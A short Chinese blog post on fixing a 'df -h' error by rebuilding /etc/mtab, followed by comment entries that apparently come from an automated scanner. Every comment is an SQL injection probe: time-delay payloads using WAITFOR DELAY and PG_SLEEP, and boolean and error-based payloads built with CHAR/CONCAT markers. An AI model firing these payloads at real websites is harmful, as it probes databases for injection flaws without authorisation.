执行df -h命令报错

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执行df -h命令报错
df: `': No such file or directory
df: no file systems processed
解决方法：cat /proc/mounts > /etc/mtab

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2020-01-03 17:04

angelina');WAITFOR DELAY '0:0:0'--

2020-01-03 17:04

angelina');WAITFOR DELAY '0:0:5'--

2020-01-03 17:04

angelina;SELECT PG_SLEEP(5)--

2020-01-03 17:04

angelina);SELECT PG_SLEEP(5)--

2020-01-03 17:04

angelina';SELECT PG_SLEEP(5)--

2020-01-03 17:04

angelina');SELECT PG_SLEEP(5)--

2020-01-03 17:04

(SELECT CHAR(113)+CHAR(98)+CHAR(98)+CHAR(98)+CHAR(113)+(SELECT (CASE WHEN (2293=2293) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(112)+CHAR(113))

2020-01-03 17:04

(SELECT (CHR(113)||CHR(98)||CHR(98)||CHR(98)||CHR(113))||(SELECT (CASE WHEN (4143=4143) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(106)||CHR(113)||CHR(112)||CHR(113)))

2020-01-03 17:04

(SELECT CONCAT(0x7162626271,(SELECT (ELT(2937=2937,1))),0x716a717071))

2020-01-03 17:04

(SELECT 4863 FROM(SELECT COUNT(*),CONCAT(0x7162626271,(SELECT (ELT(4863=4863,1))),0x716a717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

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